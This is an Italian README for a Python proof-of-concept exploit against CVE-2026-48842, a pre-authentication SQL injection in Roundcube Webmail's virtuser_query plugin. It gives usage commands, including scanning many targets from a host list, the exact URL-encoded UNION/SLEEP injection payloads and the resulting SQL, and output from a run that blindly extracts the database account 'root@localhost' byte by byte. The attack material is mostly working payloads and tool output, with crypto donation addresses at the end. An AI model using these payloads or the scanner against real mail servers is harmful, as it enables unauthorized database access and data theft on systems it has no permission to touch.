
PoC Python per CVE-2026-48842, un'SQL injection pre-auth nel plugin virtuser_query di Roundcube. Conferma la vulnerabilità tramite differenziale basato sul tempo e legge il database in modalità blind.
virtuser_query di RoundcubePoC per CVE-2026-48842, un'SQL injection pre-auth nel plugin opzionale
virtuser_query di Roundcube Webmail.
Lo strumento fa due cose e si rifiuta di tirare a indovinare su entrambe:
--dumpdbuser.Stampa l'SQL esatto che ogni probe produce, così un risultato fallito o inconcludente non viene mai presentato come una scoperta.
| CVE | CVE-2026-48842 |
| Tipo | CWE-89 — SQL injection |
| Componente | plugins/virtuser_query/virtuser_query.php (non abilitato di default) |
| Affette | Roundcube 1.6.x < 1.6.16, 1.7.x < 1.7.1 |
| Corrette | 1.6.16, 1.7.1 |
requestspip install requests
python cve_2026_48842_poc.py https://mail.example.tld
python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser
python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser
python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3
| Argomento | Descrizione | Default |
|---|---|---|
target | URL base di Roundcube, es. https://mail.example.tld o http://host/roundcube | — |
-l, --list FILE | File con un URL target per riga. # inizia un commento. | — |
-d, --delay N | Secondi di SLEEP per ogni probe dell'oracle | 7 |
--dumpdbuser | Legge in blind CURRENT_USER() una volta confermata l'injection | off |
-h, --help | Mostra l'aiuto | — |
Esecuzione reale contro un Roundcube 1.6.15 locale:
[*] http://127.0.0.1/roundcube
version=1.6.15 noise_floor=0.071s _token=yes
[1] detection injected=True delta(true-false)=6.026s delta(true-baseline)=6.015s threshold=1.8s
baseline 0.083s http=401 sql_error=None
_user=poc_baseline_user_9f2a
SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
artifact_unterminated 0.09s http=401 sql_error=None
_user=a%5C
SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
injected_true 6.098s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
injected_false 0.072s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'
[2] blind read of the database account (~42s per byte, no quotes used)
subquery: SELECT CURRENT_USER()
length=14 bytes
[ 1/14] 'r' [ 2/14] 'ro' [ 3/14] 'roo' [ 4/14] 'root'
[ 5/14] 'root@' [ 6/14] 'root@l' [ 7/14] 'root@lo' [ 8/14] 'root@loc'
[ 9/14] 'root@loca' [ 10/14] 'root@local' [ 11/14] 'root@localh'
[ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'
[+] database account = 'root@localhost'
Se questo progetto ti è stato utile, considera di supportarne lo sviluppo:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
